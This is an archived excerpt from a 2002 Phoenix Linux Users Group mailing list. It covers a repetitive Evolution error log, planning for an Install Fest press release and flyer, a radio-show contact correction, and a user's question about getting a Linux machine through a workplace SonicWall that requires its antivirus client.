> > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: > > > e_folder_type_registry_get_handler_for_type() -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > I have done the google search, but have come up empty handed. anyone > > > have any suggestions for a possible fix? > > > > > > BTW i am running evolution-1.0.3-4. > > > > > > slr > > > > > > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 19:46:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 6 Jun 2002 12:46:51 -0700 Subject: The word is out! Message-ID: <1023392811.3cffbc2bae466@webmail.freedom2surf.net> The press release has been faxed and emailed. Only one I didn't contact is the Computer buyer Magazine and the Computer Corner s Show on KTAR. It was suggested that this is best done during the show on Saturday 10-11:45am. If you will be around to answer the phone, Bill, here is the link to submit the info. http://www.datadoctors.com/corner/radio_question.cfm Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 20:53:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Thu, 6 Jun 2002 13:53:28 -0700 Subject: flyer In-Reply-To: <200206060651.11750.dennisk@sahuaro.f2s.com> References: <02060605483917.00730@nova.wedge.org> <200206060651.11750.dennisk@sahuaro.f2s.com> Message-ID: <200206061353.28284.voltage_spike@fastmail.fm> On Thursday 06 June 2002 06:51 am, Dennis Kibbe wrote: > A couple of comments on the flyer. > > I think of advertising in terms of how it would work as a billboard along > the freeway. While driving I've got about 3 seconds to take in the > message, if the ad doesn't present the key points in that length of time > it fails for me. I think it should be intriguing. Something along the lines of: Free Pizza and Soda // Big, bold font June 22nd, Scottsdale CC // Smaller, not quite as bold Bring your computer // Same as above line plug.mybutt.net // Same as above line On second thought, you might want to leave out that last line. :-) -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 21:16:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 06 Jun 2002 17:16:01 -0400 Subject: flyer Message-ID: Are you buying the pizza and soda? ;^) Alan On Thu, 6 Jun 2002 13:53:28 -0700 Logan Kennelly wrote: I think it should be intriguing. Something along the lines of: Free Pizza and Soda // Big, bold font June 22nd, Scottsdale CC // Smaller, not quite as bold Bring your computer // Same as above line plug.mybutt.net // Same as above line On second thought, you might want to leave out that last line. :-) -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 21:41:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Thu, 6 Jun 2002 14:41:30 -0700 Subject: flyer In-Reply-To: References: Message-ID: <200206061441.30106.voltage_spike@fastmail.fm> On Thursday 06 June 2002 02:16 pm, alandd@mindspring.com wrote: > Are you buying the pizza and soda? ;^) I could certainly help out with this. I just don't know what I am doing on June 22, yet. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 21:43:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Thu, 6 Jun 2002 14:43:35 -0700 Subject: flyer Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4DBF@azmscorp01.corp.azms> haha yeah I would probably leave out that last line... People might get scared or the wrong impression. Larry Lauer "Unix is user friendly...Its just picky about its friends." -----Original Message----- From: Logan Kennelly [mailto:voltage_spike@fastmail.fm] Sent: Thursday, June 06, 2002 1:53 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: flyer On Thursday 06 June 2002 06:51 am, Dennis Kibbe wrote: > A couple of comments on the flyer. > > I think of advertising in terms of how it would work as a billboard along > the freeway. While driving I've got about 3 seconds to take in the > message, if the ad doesn't present the key points in that length of time > it fails for me. I think it should be intriguing. Something along the lines of: Free Pizza and Soda // Big, bold font June 22nd, Scottsdale CC // Smaller, not quite as bold Bring your computer // Same as above line plug.mybutt.net // Same as above line On second thought, you might want to leave out that last line. :-) -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 22:04:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Wyant) Date: Thu, 6 Jun 2002 15:04:32 -0700 Subject: The word is out! In-Reply-To: <1023392811.3cffbc2bae466@webmail.freedom2surf.net> Message-ID: Just a small correction: The correct address to submit something like a press release to the Computer Corner Radio Show is http://www.datadoctors.com/corner/radio_suggestion.cfm I'm the webmaster for datadoctors.com and also an employee. I would suggest not calling the show with this information as the show is not geared towards a Linux user. Our chief demographic are 45+ year old males perfectly happy running whatever version of Windows to email, word process, and surf the web. I just talked to Ken Colburn, one of the co-hosts of the Computer Corner and a part-owner of Data Doctors Corporate. He expressed definite interest in supporting the Linux and Open Source community, but was very sure that the Computer Corner audience was not the correct platform. He did however ask me to forward on a bit of information, (I apologize for the lack of details, but NDAs apply), we have a new project coming up in a month or so that would be a much better platform for this organization, and that we would be happy to provide as a service to you. I will try my best to be an effective liaison and arbiter in this and future opportunities, as myself, Mr. Colburn, and Data Doctors are very interested and happy to provide any help we can in this arena. "University politics are vicious precisely because the stakes are so small." -- Henry Kissinger matt wyant | friend, gentleman, scholar zanfar@nospam.zanfar.com -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of dennisk@sahuaro.f2s.com Sent: Thursday, June 06, 2002 12:47 PM To: PLUG Mailing List Cc: wlindley@wlindley.com Subject: The word is out! The press release has been faxed and emailed. Only one I didn't contact is the Computer buyer Magazine and the Computer Corner s Show on KTAR. It was suggested that this is best done during the show on Saturday 10-11:45am. If you will be around to answer the phone, Bill, here is the link to submit the info. http://www.datadoctors.com/corner/radio_question.cfm Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 22:29:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 6 Jun 2002 15:29:00 -0700 Subject: Install Fest Web Site Message-ID: <0206061529001E.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I have done the following: Added Matt's mp3 promo on the main page Put the final version of the press release on the main page Added a maps page Changed all the navigation bars to be able to access the maps page fixed a missing space after the copyleft symbol at the botton of all pages Any other screw-ups that you eagle-eyes can find? - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPP/iLSsk3ywszI1FEQJwZACglurPvjlsCB5FMrikImY/nW92cHUAn11D cKnc5LUpxWJeOBN+uxsQBD2g =4YGX -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 22:52:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 06 Jun 2002 18:52:28 -0400 Subject: The word is out! Message-ID: The demographic you describe is EXACTLY the demographic we want to reach for this event. An Install Fest is mostly for people who aren't Linux users but want to try it and maybe become a Linux user. Granted, the usual meetings are more targeted toward Linux users but the Install Fest is there to help new users get started. This other project that mention sounds interesting, what little you can say right now. I will watch with great interest. Alan On Thu, 6 Jun 2002 15:04:32 -0700 Matt Wyant wrote: Just a small correction: The correct address to submit something like a press release to the Computer Corner Radio Show is http://www.datadoctors.com/corner/radio_suggestion.cfm I'm the webmaster for datadoctors.com and also an employee. I would suggest not calling the show with this information as the show is not geared towards a Linux user. Our chief demographic are 45+ year old males perfectly happy running whatever version of Windows to email, word process, and surf the web. I just talked to Ken Colburn, one of the co-hosts of the Computer Corner and a part-owner of Data Doctors Corporate. He expressed definite interest in supporting the Linux and Open Source community, but was very sure that the Computer Corner audience was not the correct platform. He did however ask me to forward on a bit of information, (I apologize for the lack of details, but NDAs apply), we have a new project coming up in a month or so that would be a much better platform for this organization, and that we would be happy to provide as a service to you. I will try my best to be an effective liaison and arbiter in this and future opportunities, as myself, Mr. Colburn, and Data Doctors are very interested and happy to provide any help we can in this arena. "University politics are vicious precisely because the stakes are so small." -- Henry Kissinger matt wyant | friend, gentleman, scholar zanfar@nospam.zanfar.com -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of dennisk@sahuaro.f2s.com Sent: Thursday, June 06, 2002 12:47 PM To: PLUG Mailing List Cc: wlindley@wlindley.com Subject: The word is out! The press release has been faxed and emailed. Only one I didn't contact is the Computer buyer Magazine and the Computer Corner s Show on KTAR. It was suggested that this is best done during the show on Saturday 10-11:45am. If you will be around to answer the phone, Bill, here is the link to submit the info. http://www.datadoctors.com/corner/radio_question.cfm Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 22:53:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Charlie Bullen) Date: Thu, 6 Jun 2002 15:53:26 -0700 Subject: sonicwall Message-ID: <001e01c20dac$f8e79de0$6400a8c0@amd1000> This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C20D72.4BC83500 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, I got my employer to let me bring my linux box to work to use but = there is a problem. They have a sonic wall and I can't get through it to = the net. If I can get it to work great, if not I can get no support from = the office. I have been using Konquerer and ran into a blank wall, no = net access. I tried Lynx and got a message that I needed to download and = install sonic wall anti virus, but I couldn't do that with Lynx.=20 They have sonicwall set to not allow internet access unless the client = is running sonicwall antivirus. All the other workstations are Win98 or XP using IE 5.5 or 6.0.=20 My idea is to install and try Opera withi tset to identify itself as IE. = I am running wine and have had good results running windows programs on = Linux but I wonder if sonic wall anti virus can run under linux (Suse = 7.3)=20 Any other suggestions or better yet solutions would be appreciated. This whole project is the result of 2 things, first I went to the Linux = to Windows conversion presentation last week, thanks Matt, and second I = have to use a windows XP home version box otherwise. Regards, Charlie =20 ------=_NextPart_000_001B_01C20D72.4BC83500 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi, I got my employer to let me bring = my linux box=20 to work to use but there is a problem. They have a sonic wall and I = can't get=20 through it to the net. If I can get it to work great, if not I can = get no=20 support from the office.  I have been using Konquerer and ran into = a blank=20 wall, no net access. I tried Lynx and got a message that I needed to = download=20 and install sonic wall anti virus, but I couldn't do that with Lynx.=20
 
They have sonicwall set to not allow = internet=20 access unless the client is running sonicwall antivirus.
 
All the other workstations are Win98 or = XP using IE=20 5.5 or 6.0.
 
My idea is to install and try = Opera withi tset=20 to identify itself as IE. I am running wine and have had good results = running=20 windows programs on Linux but I wonder if sonic wall anti virus can run = under=20 linux (Suse 7.3)
 
Any other suggestions or better yet = solutions would=20 be appreciated.
 
This whole project is the result of 2 = things, first=20 I went to the Linux to Windows conversion presentation last week, thanks = Matt,=20 and second I have to use a windows XP home version box = otherwise.
 
Regards,
 
Charlie
 
 
